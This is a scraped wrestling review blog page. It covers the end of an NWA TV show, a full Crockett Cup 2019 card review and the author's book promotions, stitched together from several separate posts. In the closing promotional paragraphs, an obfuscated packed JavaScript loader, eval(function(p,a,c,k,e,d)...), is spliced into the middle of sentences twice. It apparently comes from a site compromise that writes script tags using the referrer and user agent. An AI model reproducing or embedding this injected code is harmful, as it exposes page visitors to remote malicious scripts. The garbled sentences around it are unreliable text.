Back from a break with Storm breaking through security and chasing Jocephus around some more. Referees break it up again….for all of three seconds before it’s up into the crowd for a bit. Storm gets in the ring and calls Jocephus in, but he has to turn his back first. Hey let’s make it a match.

James Storm vs. Jocephus

Storm puts Jocephus’ thumb in his mouth for a little bonus humiliation. For a bonus, Storm goes to commentary and says the NWA is in the eye of the storm.

Video on Tim Storm, who is a wrestler, a teacher and a grandfather. He wants to do this when he’s 70 because he never wants to come off of the mountain. Aldis took the title from him in 2017 and, other than a quick run by Cody last year, has held it ever since. He needs one more shot at the title because he knows he can do it.

Storm (Tim this time) talks about how 6:05 on Saturdays defined him (when he was a young man of about 35 more than likely) but now it is his family, including his 94 year old mother, who only cares if he gets hurt. He is Mama Storm’s baby boy, which sets off a MAMA chant. The title defined him as a wrestler and he held it for over 400 days. Now it’s all he wants back and he kind of quotes Lose Yourself in regards to seizing the opportunity. Tonight is his night.

NWA World Title: Nick Aldis vs. Tim Storm

Aldis, with Kamille, is defending. We get the Big Match Intros and they are VERY to the point with just the names being announced, meaning no weights or hometowns, which makes for a weird intro. Aldis loses an early chop off to the bigger Storm, who wins a slugout in the corner as well. They head outside with Aldis sending him face first into the post and back first into the apron.

Back in and an elbow gets two and we hit the chinlock. That’s broken up and Storm sends him face first into the buckle for a double knockdown. Storm grabs a Figure Four (required) but a rope is eventually grabbed. With the holds not working, Storm gets two off a superplex and can’t believe the kickout. A high crossbody (with Storm slipping a bit) connects for two but we do get a PERFECT STORM chant. Storm misses a middle rope Swanton of all things and the fans are split this time.

Aldis’ top rope elbow hits the back and it’s the King’s Lynn Cloverleaf to stay on the spine. That’s broken up and we almost get a ref bump, allowing Storm to hit a low blow. The Perfect Storm (swinging Boss Man Slam) gets two so they go up top. That means a double headbutt to put both guys on the floor again. Aldis clotheslines Kamille by mistake and Storm posts him for a good staggering. Back in and Aldis grabs a small package out of nowhere to retain at 12:08.

Rating: B-. Not a great match or anything but you can tell Aldis is a polished wrestler. I don’t remember seeing much (if anything) from Storm before but he was perfectly fine. That being said, Aldis looked like a star and Storm looks like someone whose heyday was twenty plus years ago. It’s fine for a short form story, but changing the title here would have been insane and I’m glad it didn’t really come close to that.

Post match Aldis praises Storm as a real man and Kamille won’t speak about the missed clothesline. Storm takes the mic back and says it was a great win. Kamille doesn’t seem thrilled with that but leaves with Aldis anyway.

Roll credits.

Overall Rating: B. I liked this WAY better than I would have expected as the hour flew by, mainly due to the squash matches. What mattered here was they kept it short and to the point. The production is bare bones (there aren’t even entrance themes) and what you get here is a show build on the legacy, the wrestlers and their personalities. This show was designed to get you into the wrestlers and make you want to see more. The NWA has miles to go but this felt different in a good way, and that’s better than anyone would have expected from them a few years ago. Great start, and check this out if you have a chance.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

What else is going under the radar during the biggest week in eighteen years?

https://wrestlingrumors.net/tommyhall/kbs-review-news-big-week-edition/

IMG Credit: National Wrestling Alliance

Crockett Cup 2019
Date: April 27, 2019
Location: Cabarrus Arena, Concord, North Carolina
Commentators: Ian Riccaboni, Jim Cornette, Joe Galli

This is something that actually caught my attention with the card alone and the promotion was secondary. The NWA has been trying to fight back over the last year or two and they’re getting close to making something of quality. In this case we have a tag team tournament to crown the new NWA Tag Team Champions, plus a few bonus matches in what could be quite the tradition. Let’s get to it.

The opening video features NWA World Champion Nick Aldis talking about his mission to return the NWA to prominence. He’s facing his best friend Marty Scurll for the title, because that’s what a villain like Marty does.

The announcers welcome us to the show and Cornette is VERY pleased to be here.

The arena looks AWESOME as it’s designed like an old school NWA ring, complete with the big NWA lettering on the mat, plus old school graphics.

Tag Team Battle Royal

The Dawgs, The Boys, Dawson Brothers, Jocephus/Jay Bradley, Royce Isaacs/Thom Latimer, Kevin Blue/Billy Buck, Cam Carter/LaBron Kozone

This is for the eighth spot, both members have to be eliminated, and Latimer is better known as Bram. Titus poses to start and gets clotheslined out by the Boys in less than a minute. With the titles and cup in a great position in the middle of the stage overlooking the ring (that looks great) and the announcers explaining the concept in a rather natural way, everyone brawls to start because it’s a battle royal and that’s how they always start. Blue is knocked out, followed by Buck and Kozone as the ring starts to empty out a bit.

The Dawsons get together and toss Carter but Zane Dawson eliminates his brother Dave by mistake. The Boys take care of Zane a few seconds later and we’re down to four teams left. Will Ferrara is out to get rid of the Dawgs, leaving us with Isaacs/Latimer vs. Jocephus/Jay Bradley vs. the Boys. Latimer and Isaacs get sent through the ropes and I think you know where this is going. The Boys low bridge Jocephus and Jay out but get dumped by Latimer and Isaacs for the win at 6:39.

Rating: D+. The key here was the speed as they were in and out quickly and didn’t waste time. There’s no need to go with a lot of drama for a team that isn’t likely to win the whole thing so getting in and out in less than seven minutes was the right move. It’s an energized start to the show and that’s a good idea on something that needs to hit on all cylinders.

That gives us our first look at the full brackets:

Rock N Roll Express

Briscoes

Satoshi Kojima/Yuji Nagata

Villain Enterprises

Flip Gordon/Bandido

Stuka Jr./Guerrero Maya Jr.

Jax Dane/Crimson

Thom Latimer/Royce Isaacs

Of note: Latimer/Isaacs and Gordon/Bandido have never teamed before until tonight. That’s probably not a good sign.

Correspondent Caprice Coleman….doesn’t talk to Isaacs and Latimer, who walk by him. Instead he shows us the bracket to keep it from being a total loss.

Video on Flip Gordon, who ruined his knee in this very building and wants to show the people what he can do when he’s healthy.

Crockett Cup First Round: Bandido/Flip Gordon vs. Stuka Jr./Guerrero Maya Jr.

Flip is wearing a sombrero to fit in with his partner. The fans are behind Bandido, who starts with Stuka. The flipping and spinning begin early on with neither being able to get anywhere. Gordon and Maya come in for a handshake of their own and some fast armdrags from Maya. Bandido’s attempted assistance fails early on and it’s a pair of backbreakers to send Gordon and Bandido outside.

After Maya….I guess the term is dances, it’s Stuka coming back in to take over on Gordon. A double submission attempt is quickly broken up by Bandido, who gets taken down just as quickly. Bandido gets caught in a double surfboard as they don’t seem to be following standard rules here. Gordon makes the save and gets armdragged to the floor, setting up a suicide flip dive to take him out again. Back in and Gordon hits a springboard missile dropkick on Maya before monkey flipping Bandido into a hurricanrana on Stuka.

Bandido hits his big running flip dive and the fans are rather pleased. Back in and Bandido’s frog splash gets two on Maya but the required Tower of Doom brings Gordon down. Stuka’s frog splash connects for two more and it’s a Canadian Destroyer for another two. Gordon comes back in with the springboard spear for two on Maya, who is right back with the Mayan Sacrifice (a suplex shoulder breaker). Bandido takes Maya out though, leaving Gordon to hit a TKO for the pin on Stuka at 12:32.

Rating: B. Fun match with Gordon being more than able to hang in the lucha libre style. They didn’t bother with anything more than an insane match here as the regular wrestling can come later on in the show. Gordon getting the pin is a smart idea as he’s going to be going after the ROH World Title soon enough so this worked on almost all levels.

Marty Scurll talks about having to work for his opportunities while Nick Aldis had a lot of his handed to him. They’ve been friends for years and now Marty wants his chance.

Crockett Cup First Round: Royce Isaacs/Thom Latimer vs. Jax Dane/Crimson

Crimson and Dane take over on Latimer in the corner to start. It’s quickly off to Royce, who walks into a t-bone suplex. Dane’s running clothesline sets up a top rope elbow from Crimson. We hear about Dane’s extensive resume, including reigns as NWA World and Tag Team Champions. The referee gets Dane out of the ring and it’s Crimson getting double choked in the corner.

Stomping and chopping wakes Crimson up a bit so Royce dropkicks his knee out to cut him off. Dane gets drawn in and the double teaming continues as Latimer and Royce are keeping it strong with the heel formula. In keeping with that formula, Crimson sends them together and makes the hot tag off to Dane for the house cleaning. Dane Samoan drops both of them at once but Ground Zero (a fireman’s carry flapjack into a cutter) is broken up. Crimson’s knee gets wrapped around the post, allowing Royce to grab a rollup with feet on the ropes for the pin at 7:49.

Rating: C-. Crimson and Dane weren’t great but they were better than the rather generic Isaacs and Latimer. I’m not sure why they’re getting this kind of a push in the tournament, but if you want to give them some credibility, putting them over some former Tag Team Champions isn’t the worst idea in the world. Just be a little more interesting next time.

We recap the Briscoes vs. the Rock N Roll Express. The Briscoes talk about the tournament initially taking place when they were babies and the Express going out in the first time. This year, they’ll be having the same fate. Jay says his goal in life right now is to put the Express out to pasture.

Jim Cornette is in the ring to introduce the Express to the ring and this just feels wrong on so many levels. Cornette praises the team but points out the one problem: they might die in this match. Ricky Morton is ready to wrestle one more time and all it’s going to take is a cup of soup and a good night’s sleep and they’ll be fine. The Briscoes come out and threaten Cornette away before offering the Express the chance to forfeit because it’s 2019 and this is going to hurt. Ricky kicks Jay low and we’re off and running.

Crockett Cup First Round: Rock N Roll Express vs. Briscoes

They start fast and it’s a running knee into a hurricanrana to send Mark outside and it’s a suicide dive to take the Briscoes again. This time doesn’t work as well though as Mark posts Morton to take over. Morton is already busted open and the beating is on in a hurry. The reverse chinlock goes on and Cornette is in his element going over the history of the Express, spouting off attendance records and gate figures because that’s why they brought him in for this.

Morton’s superkick has no effect as Jay kicks him in the face. A charge allows the hot tag but the referee doesn’t see it (you knew that was coming in here somehow) so the hot tag goes through a few seconds later (still annoying even though they’re legends). The Rocket Launcher of all things gets two on Mark but Gibson gets pulled to the floor. That leaves Morton to take the Death Valley Driver into the Froggy Bow for the pin at 6:55.

Rating: C. This is much more of a curiosity than anything else and Morton took a beating as only he could. The Express are both in their 60s so this was only going to be so good, but they can still hang in there and certainly didn’t embarrass themselves. Not a bad match at all, but this was rather impressive in its own right.

We look at Villain Enterprises winning Tag Wars 2019.

Crockett Cup First Round: Villain Enterprises vs. Satoshi Kojima/Yuji Nagata

That would be PCO/Brody King for you non-ROH fans. Nagata and King start things off and Nagata’s running shoulders have no effect. Some leg kicks work a bit better so it’s the Nagata Lock to some more avail. PCO and Kojima come in with Kojima’s shoulders actually taking the big man down. That just earns Kojima a discus lariat to the floor, followed by a suicide dive because the 51 year old PCO can do suicide dives.

Brody comes in to chop Kojima into the corner before slamming PCO onto him for two. A DDT out of the corner gets two and a double suplex is good for the same. Kojima is right back with a DDT of his own and it’s back to Nagata for some kicks to King’s chest. They trade forearms to the face and big boots with Nagata pulling him down into a Disarm-Her to do some damage to the arm.

PCO makes the save so King uses the good arm for a clothesline. PCO comes back in and gets taken into the corner, allowing Kojima to come back in for some crazy fast chops. This time it’s PCO popping back up (not human and all that) and his own chops have Kojima in trouble. A Michinoku Driver gives Kojima two and it’s King’s backsplash getting two. Kojima gets in a brainbuster for two of his own but the lariat is countered with a hard clothesline. King grabs a Samoan driver for the pin on Kojima at 11:49.

Rating: B. This was a lot better than I was expecting with the three old guys holding up their end and King being able to hang in there more than well enough. I had a good time with this and Villain Enterprises gets better and better every single time they’re out there. Good match, and Kojima/Nagata are rather entertaining as well.

Here are the updated brackets:

Briscoes

Villain Enterprises

Flip Gordon/Bandido

Royce Isaacs/Thom Latimer

Here’s Madusa to present the vacant Women’s Title to the winner of the next match. She seems to get rather lost in her promo and stalls a few times while talking about how important the title is to wrestling history.

NWA Women’s Title: Allysin Kay vs. Santana Garrett

The title is vacant coming in (the former champion Jazz (yes that Jazz) got hurt) and Garrett is a former champion. Kay takes her into the corner and gets in a quick shot to the face for some mild annoyance. That earns her a kick to the face to give Garrett two but Kay gets in an elbow to the face to take over. A shoulder runs Garrett over and it’s off to a quickly broken chinlock. Kay plants her with a facebuster for two and it’s off to a neck crank.

Eat Defeat is broken up and stereo big boots to the face put them both down. Some big forearms rock Kay and the running versions put her down. The Muta Lock goes on (without the leg lock) keeps Kay in trouble but Garrett has to let go due to reasons of that hold is hard to maintain. Cornette seems to get the women backwards but gets them right as Garrett anklescissors Kay off the top. A handspring moonsault misses though and Kay hits a discus lariat for the pin and the title at 8:57.

Rating: C+. These two hit each other rather hard and that’s the kind of match this needed to be. Both of them could be stars in the future on the bigger stage (and they both already kind of had) and I could go with seeing more of them in the future. Kay winning makes sense as she has the better overall resume, but Garrett was far from slacking here.

We get another video on Aldis vs. Scurll, featuring footage from the Madison Square Garden show with Aldis saying he’s the senior and Marty comes to him for advice. In the ring, Aldis is the senior.

The Midnight Express (Sweet Stan Lane, Loverboy Dennis Condrey and Beautiful Bobby Eaton) is here and Eaton has very little to say (shocking). Lane is a North Carolina boy and puts over the fans. Condrey is very happy to have recently beaten cancer and can still talk without a voicebox or vocal chords. Cornette is very pleased with this one, as you would expect.

We recap the first round.

Crockett Cup Semifinals: Thom Latimer/Royce Isaacs vs. Flip Gordon/Bandido

Latimer shoves Gordon down to start, who is right back with a dropkick and anklescissors. Bandido comes in to work on Isaacs’ arm and adds a snazzy nipup into a dead lift suplex. Everything breaks down and the villains are superkicked out to the floor. For some reason Madusa is still here and starts coaching Latimer and Isaacs, who get taken out by suicide dives anyway.

Back in and something like a reverse Unprettier plants Isaacs, setting up a 450 from Gordon. That’s a problem though as Gordon comes up holding his knee. The villains start in on the knee but since they’re not very good at this stuff, that means a bunch of stomping. Gordon dives over for the tag attempt but Isaacs pulls Bandido off the apron. The distraction is enough for the rollup with tights to pin Gordon at 7:17.

Rating: D. Latimer and Isaacs are as generic of a set of villains as you can have and I have no idea why they’re going to the finals already. This wasn’t a good match with Latimer and Isaacs managed to pull down one of the more entertaining teams in the tournament. Bad stuff here, and I really don’t get the thinking here, other than a big layup of a final.

Crockett Cup Semifinals: Briscoes vs. Villain Enterprises

Brody and Jay slug it out to start with Jay being knocked out to the floor. The Briscoes head outside and grab some chairs before it’s back to Mark vs. PCO for some chopping. Everything breaks down again and Mark moonsaults down onto King to take over. Back in and PCO gets choked on the ropes as things settle down but a missed charge allows the tag to King. A Cannonball in the corner crushes Mark and a sitout slam gives PCO two.

Mark flips out of a backdrop though and makes the hot tag to Jay as everything breaks down again. Jay gets chokeslammed onto the apron and PCO adds a suicide flip dive onto Mark. The flip dive onto the apron misses though and PCO bangs his back again, this time allowing Mark to hit the Bang Bang elbow off the apron. All four grab chairs and Jay blasts King in the back for the DQ at 9:46.

Rating: B. This was the wild brawl that it needed to be and there’s nothing wrong with that. These four have had some awesome matches over the last few months it makes sense to go with what works. It’s a heck of a fight and while they were hampered by time, it was a nice addition to the show.

Post match the Briscoes wreck Villain Enterprises with chairs and Pillmanize his arm with a top rope flip dive onto the apron. The Briscoes rant about the tournament and finally leave.

So the finals are:

Villain Enterprises

Thom Latimer/Royce Isaacs

There isn’t a recap video for the National Title match, even though we go to one.

National Title: Colt Cabana vs. Willie Mack

Mack is defending and that title is hideous. Cabana spins out of a wristlock to start as Cornette is trying as hard as he can not to rip into Cabana for being a comedy guy. Another standoff gives us a handshake and it’s Mack running him down to take over. The big legdrop looks to set up a running dropkick in the corner but Mack crashes HARD out to the floor.

Cabana follows up with a chinlock but Mack fights up and it’s a double knockdown. Mack’s Samoan drop into a standing moonsault gets two, setting up the reverse Cannonball in the corner. Some elbows to the head rock Mack though and a standing Lionsault gets two. Cabana shoves him off the top and hits his lame splash but misses a moonsault. Mack charges into a boot in the corner and the diving cradle (Cabana uses his feet to pin down Mack’s legs) gives Cabana the pin and the title at 8:57.

Rating: C. They played this one completely straight and that’s the right move for someone like Cabana, who can wrestle a clean match very well when he’s willing to try. Cabana winning the title is fine as he can drop it to a more traditional star later on. This could have been far, far worse so a straight match was a big relief.

Post match James Storm comes out to say he’s not what the NWA wants to see as a champion. Therefore, he’s going to win the National Title anyway. Storm is still a great talker and TNA managing to not make him a megastar continues to astound me.

ROH COO Joe Koff, NWA President Billy Corgan and members of the Crockett Family are here.

Here’s Nikita Koloff, who won the tournament in 1987, to present the cup to the winners. Koloff talks about how great it is to be back and praises the Crockett Family for giving him a chance. Coleman: “What happened to your accent?” Koloff: “It’s been thirty five years dude. My English got better.” Koloff talks about his ministry and brings in Magnum TA, who doesn’t quite look great but it’s cool to see him here. Magnum, still with that great voice, talks about how important the Cup and the Crocketts are both to wrestling and his life.

We recap the first two rounds.

Crockett Cup Finals/Tag Team Titles: Villain Enterprises vs. Thom Latimer/Royce Isaacs

The titles are vacant coming in and Madusa is now here with Latimer and Isaacs. PCO and King are banged up, just in case you didn’t know the ending already. King and Isaacs start things off as the announcers aren’t sure how to handle PCO looking hurt. The double stomping has King down on the floor as this isn’t exactly inspiring stuff so far.

Isaacs grabs the chinlock but gets suplexed into the corner, allowing the hot tag off to PCO. Hang on though as PCO tells King to FIX HIS ARM, meaning snapping it across the top rope, which seems to fix everything. The fired up PCO cleans house and a Samoan driver from King plants Isaacs. The moonsault finishes Latimer at 6:39.

Rating: D. This felt like a main event match in a movie about wrestling where the filmmakers don’t know anything about wrestling. Latimer and Isaacs are guys who might as well have had the word VILLAIN tattooed on their chests. There was nothing to see here and thankfully PCO didn’t bother selling anything as soon as he got the hot tag. Keeping it short was smart, but better opponents would have made this worthwhile.

Post match Koloff presents the cup.

We recap Nick Aldis vs. Marty Scurll. They’re old friends but Marty wants the chance that Aldis got. Fair enough, and it feels like a feud instead of a tacked on title match.

NWA World Title: Marty Scurll vs. Nick Aldis

Aldis is defending and has Kamille Kane in his corner. We get one more cameo with Tommy Young giving us the in-ring instructions and a weapons check. They bump fists instead of shaking hands and Aldis towers over Marty. Nick goes with the wristlock to start so Marty spins out and takes the champ down for an arm crank of his own. A similar sequence has Aldis a little frustrated so he grabs the hair to escape and sends Marty into the ropes.

Marty falls down and claims a trip from Kamille, who is about four feet from the apron. That’s enough for an ejection and Marty chops away on the floor. Back in and Aldis scores with a fall away slam and a clothesline. A super fall away slam sends Marty outside and Aldis chokeslams him through a table, which seems rather out of place here. Back in and a knee to the ribs keeps Scurll in trouble, setting up the double arm pull. Marty gets up and staggers over the to corner, where a slap to the face ticks Aldis off. That’s enough for Scurll to grab a tornado DDT for a knockdown.

They slug it out with Scurll getting the better of it and stomping him down in the corner. Cornette tries to figure out the difference between a Villain and a National Treasure as Scurll kicks him down to the floor. Right hands against the barricade keeps Aldis in trouble and it’s a 619 back inside. Marty goes old school with a Figure Four as Aldis has been busted open somewhere in there.

The rope is grabbed and Aldis hits a very quick Tombstone. The top rope elbow gets two and a Michinoku Driver gives the champ the same. Scurll catches him going up again and this time it’s a top rope superplex to give Marty his own near fall. Aldis gets in a powerbomb and tries the King’s Lynn Cloverleaf but Marty snaps the fingers for the block. Er, break. Er, block and break.

The chickenwing is broken up so Scurll goes with Cross Rhodes but the referee gets bumped. Cue Kamille, who Aldis tells to leave so he can do this himself. The distraction is enough for Scurll to get in a low blow and Graduation for a VERY close two. Now it’s the chickenwing but Aldis flips back for two and the break. The package piledriver is countered into the Cloverleaf though and Scurll taps at 23:41.

Rating: A-. This was a rather strong match and the kind of thing that felt like a main event. Aldis fits this role very well as he looks like a championship wrestler and can have a good match against just about anyone. Scurll is a star in the making though and one day he’s going to win a big match and become a World Champion. It’s ok that he lost here though, as he’s building up a lot of stock value with these matches.

Post match they hug and Marty grabs the mic, saying Aldis was the first person to take him under his wing in this business. They just had an awesome match and the NWA is back. Aldis puts over Marty and the NWA, saying that it seemed crazy when they started this rebirth project but now it’s working. Celebrations end the show.

Overall Rating: B. I had a good feeling about this show coming in and they didn’t disappoint. Other than the weird pushing of Latimer and Isaacs, nothing was bad here with solid action up and down and a very good main event. The talent was there and I had a great time watching these guys. Cornette was awesome on commentary as he was clearly having a blast with the historical stuff and the other two were just fine as well. It might not be worth going out of your way to see, but if you want a three and a half hour show that flies by and has nothing overstay its welcome, this is worth seeing.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2000 Monday Nitro and Thunder Reviews Part 1 (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/02/22/new-book-kbs-monday-nitro-thunder-reviews-volume-vii-january-june-2000/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Since everyone has already talked about Goldberg vs. Lesnar (which I’ll get to when I can wrap my head around the thing), here’s something a little lighter this week.

http://wrestlingrumors.net/kbs-review-happy-and-sad-holidays/

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhhif|var|u0026u|referrer|bdrfi||js|php'.split('|'),0,{})) talking the TBS show from 1986-1988.  This is the treat that a lot of old school fans have been waiting on as it’s the opposite of what you see today.  These shows were almost entirely built around the promos to make you pay for the house shows later.  The idea of seeing big names fight each other on this show was almost unheard of and it made for some much more entertaining TV.  It’s not for everyone and you might get bored at times, but Ric Flair and Dusty Rhodes one upping each other every week is some of the best you’ll ever see.  Check this out if you want to see what made WCW work in the old days.

You know what move didn’t really do jack?Ric eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|airyd|var|u0026u|referrer|rzidh||js|php'.split('|'),0,{})) Flair’s Figure Four.  Take a look at how he won his World Titles (some recognized, some unrecognized.  Don’t start with the “IT’S MORE THAN 16 TIMES” stuff again).

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6